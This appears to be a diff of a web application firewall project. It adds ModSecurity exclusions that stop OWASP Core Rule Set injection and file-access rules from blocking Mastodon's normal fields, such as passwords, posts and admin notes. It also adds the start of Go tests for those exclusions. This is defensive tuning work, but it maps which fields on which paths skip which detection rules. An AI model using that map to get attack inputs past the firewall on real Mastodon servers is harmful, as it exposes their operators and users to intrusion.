SecRule REQUEST_FILENAME "@rx ^/admin/(?:accounts|instances|custom_emojis|tags)$" \
|
||||||
|
"id:900954,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/"
|
||||||
|
|
||||||
|
# The admin pages' free text, in bodies:
|
||||||
|
# domain_block[private_comment], domain_block[public_comment]: blocking a
|
||||||
|
# domain, "Spam about powershell and .htaccess"
|
||||||
|
# ip_block[comment]: blocking an address
|
||||||
|
# rule[text], rule[hint]: a server rule, "No posting of powershell malware"
|
||||||
|
# announcement[text]: an announcement
|
||||||
|
# form_admin_settings[site_title], [site_short_description],
|
||||||
|
# [site_extended_description]: the server's name and descriptions,
|
||||||
|
# "Python3 social"
|
||||||
|
# admin_account_action[text]: warning an account, on
|
||||||
|
# /admin/accounts/<id>/action
|
||||||
|
# report_note[content], account_moderation_note[content]: a moderator's
|
||||||
|
# note on a report or an account, "ls -la shows the .htaccess file"
|
||||||
|
# account_warning_preset[title], [text]: a preset warning
|
||||||
|
# user_role[name]: a role
|
||||||
|
# terms_of_service[text], [changelog]: the terms of service
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/admin/(?:domain_blocks|ip_blocks|rules|announcements|settings|accounts/[^/]+/action|report_notes|account_moderation_notes|warning_presets|roles|terms_of_service)(?:/|$)" \
|
||||||
|
"id:900955,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/"
|
||||||
|
|
||||||
|
# The settings pages' names, words and addresses, and passwords, in bodies:
|
||||||
|
# custom_filter[title], custom_filter[keywords_attributes][0][keyword]: a
|
||||||
|
# filter, "python3 spam" and "ls -la"
|
||||||
|
# doorkeeper_application[name], doorkeeper_application[website]: an
|
||||||
|
# application, "https://example.org/powershell"
|
||||||
|
# account_alias[acct], account_migration[acct]: moving an account
|
||||||
|
# user[password], user[password_confirmation], user[current_password]:
|
||||||
|
# signing in, signing up and changing the password
|
||||||
|
# user[invite_request_attributes][text]: why someone signs up, while sign-ups
|
||||||
|
# need approval
|
||||||
|
# account_migration[current_password], form_redirect[current_password],
|
||||||
|
# form_delete_confirmation[password]: moving or deleting an account
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:filters|settings/(?:applications|aliases|migration|delete)|auth)(?:/|$)" \
|
||||||
|
"id:900956,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||||
|
|
||||||
|
# The web app's search page: /search?q=python3.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /search" \
|
||||||
|
"id:900957,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Deliveries from other servers to an inbox, in JSON. The fields of the object
|
||||||
|
# delivered skip the four rules:
|
||||||
|
# content, contentMap: a post, "<p>notes on python3, powershell, ...</p>"
|
||||||
|
# summary, summaryMap: a post's content warning, or a profile's text
|
||||||
|
# name: a profile's name, "Alice powershell"
|
||||||
|
# attachment: a picture's description, or a profile's fields
|
||||||
|
# oneOf, anyOf: a poll's options, "python3"
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:inbox|users/[^/]+/inbox|ap/users/[0-9]+/inbox)$" \
|
||||||
|
"id:900958,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.object\./ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/"
|
||||||
|
|
||||||
|
# When someone on another server looks up a link to a profile or a post here,
|
||||||
|
# such as /@admin or /@admin/117589811962372311, that server fetches the link
|
||||||
|
# with this header. It sends it again to the account or post the link leads to.
|
||||||
|
# 920600 refused it as a malformed Accept header:
|
||||||
|
# Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams",
|
||||||
|
# application/activity+json, text/html;q=0.1
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/@[^/]+(?:/[0-9]+)?$|^/(?:ap/)?users/|^/actor$" \
|
||||||
|
"id:900959,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=920600;REQUEST_HEADERS:Accept"
|
||||||
|
|
||||||
|
# Signing up through the API, in form data or JSON:
|
||||||
|
# password, reason: password=ls+-la+shows+the+.htaccess+file
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||||
|
"id:900960,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?(?:password|reason)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||||
|
|
||||||
|
# The passwords named above skip each rule that random passwords set off, and
|
||||||
|
# so does form_challenge[current_password]: confirming the password at
|
||||||
|
# /auth/challenge, or on the two-factor settings pages that ask for it again.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete|two_factor_authentication(?:_methods)?)|auth)(?:/|$)" \
|
||||||
|
"id:900965,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||||
|
"id:900966,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||||
|
|
||||||
|
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||||
|
# report forwarded to another server lists that server in forward_to_domains.
|
||||||
|
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||||
|
# report the web app sent. The names are:
|
||||||
|
# json.forward
|
||||||
|
# json.forward_to_domains
|
||||||
|
# json.forward_to_domains.0, json.forward_to_domains.1 and so on, one per
|
||||||
|
# server, such as remote.example
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/reports" \
|
||||||
|
"id:900961,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.forward/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.forward(?:_to_domains(?:\.\d+)?)?$/"
|
||||||
|
|
||||||
|
# A hashtag and a username hold only letters, digits and underscores. So the
|
||||||
|
# web app's featured hashtags and the sign-up form's username skip only 932120
|
||||||
|
# and 932260, which refused the hashtag or username python3 or powershell.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/featured_tags" \
|
||||||
|
"id:900962,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /auth" \
|
||||||
|
"id:900963,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^user\[account_attributes\]\[username\]$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:/^user\[account_attributes\]\[username\]$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[account_attributes\]\[username\]$/"
|
||||||
|
|
||||||
|
# The sign-up, sign-in, password reset and account settings forms send an
|
||||||
|
# email address in user[email]. It skips 930120, 932120 and 932260, which
|
||||||
|
# refused these addresses:
|
||||||
|
# 930120: jane.profile@example.com
|
||||||
|
# 932120: powershell@example.com
|
||||||
|
# 932260: python3@example.com
|
||||||
|
# An address holds no spaces, so it keeps 932250, which needs ls -la.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
|
||||||
|
"id:900964,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^user\[email\]$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
||||||
|
|
||||||
|
SecMarker END_MASTODON
|
||||||
@@ -0,0 +1,769 @@
|
|||||||
|
package coreruleset_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"slices"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
)
|
||||||
|
|
||||||
|
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
|
const mastodonThreshold = 5
|
||||||
|
|
||||||
|
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||||
|
const mastodonStatuses = "/api/v1/statuses"
|
||||||
|
|
||||||
|
// mastodonInbox is a Mastodon account's inbox, which other servers deliver
|
||||||
|
// to.
|
||||||
|
const mastodonInbox = "/users/admin/inbox"
|
||||||
|
|
||||||
|
// Mastodon's paths for editing a profile, for filters, for the server's
|
||||||
|
// rules and its name, for signing in, and for signing up or changing the
|
||||||
|
// password.
|
||||||
|
const (
|
||||||
|
mastodonProfile = "/api/v1/accounts/update_credentials"
|
||||||
|
mastodonFilters = "/api/v2/filters"
|
||||||
|
mastodonRules = "/admin/rules"
|
||||||
|
mastodonBranding = "/admin/settings/branding"
|
||||||
|
mastodonSignIn = "/auth/sign_in"
|
||||||
|
mastodonAccount = "/auth"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Mastodon's paths for the web app's profile editor, for signing up through
|
||||||
|
// the API, for reports, and for warning presets, roles and the terms of
|
||||||
|
// service.
|
||||||
|
const (
|
||||||
|
mastodonEditor = "/api/v1/profile"
|
||||||
|
mastodonSignUp = "/api/v1/accounts"
|
||||||
|
mastodonReports = "/api/v1/reports"
|
||||||
|
mastodonPresets = "/admin/warning_presets"
|
||||||
|
mastodonRoles = "/admin/roles"
|
||||||
|
mastodonTerms = "/admin/terms_of_service/draft"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Fields, as the start of a form body: a title, a comment, a password and a
|
||||||
|
// post's text.
|
||||||
|
const (
|
||||||
|
mastodonTitle = "title="
|
||||||
|
mastodonComment = "comment="
|
||||||
|
mastodonPassword = "user[password]="
|
||||||
|
mastodonStatus = "status="
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"mastodon"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Mastodon's fixes let through.
|
||||||
|
search := get("/api/v2/search?q=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||||
|
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonQueryFields = []string{
|
||||||
|
"/api/v1/accounts/search?q=",
|
||||||
|
"/api/v1/accounts/lookup?acct=",
|
||||||
|
"/api/v1/admin/accounts?username=",
|
||||||
|
"/api/v1/admin/accounts?display_name=",
|
||||||
|
"/api/v1/admin/accounts?email=",
|
||||||
|
"/api/v2/admin/accounts?origin=local&username=",
|
||||||
|
"/api/v2/admin/accounts?by_domain=",
|
||||||
|
"/admin/accounts?username=",
|
||||||
|
"/admin/accounts?display_name=",
|
||||||
|
"/admin/accounts?email=",
|
||||||
|
"/admin/instances?by_domain=",
|
||||||
|
"/admin/custom_emojis?shortcode=",
|
||||||
|
"/admin/tags?name=",
|
||||||
|
"/search?q=",
|
||||||
|
"/api/v2/search?q=",
|
||||||
|
"/api/v2/search?type=accounts&resolve=true&q=",
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonBodyField is a field of a body, sent to a path with a method.
|
||||||
|
type mastodonBodyField struct{ method, target, field string }
|
||||||
|
|
||||||
|
// mastodonFormFields sends each field that skips the four rules in a form
|
||||||
|
// data body, on a path where it skips them.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonFormFields = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, "spoiler_text="},
|
||||||
|
{http.MethodPost, mastodonStatuses, "poll[options][]="},
|
||||||
|
{http.MethodPut, "/api/v1/media/1", "description="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "display_name="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "note="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="},
|
||||||
|
{http.MethodPost, "/api/v1/lists", mastodonTitle},
|
||||||
|
{http.MethodPut, "/api/v1/lists/1", mastodonTitle},
|
||||||
|
{http.MethodPost, mastodonFilters, mastodonTitle},
|
||||||
|
{http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="},
|
||||||
|
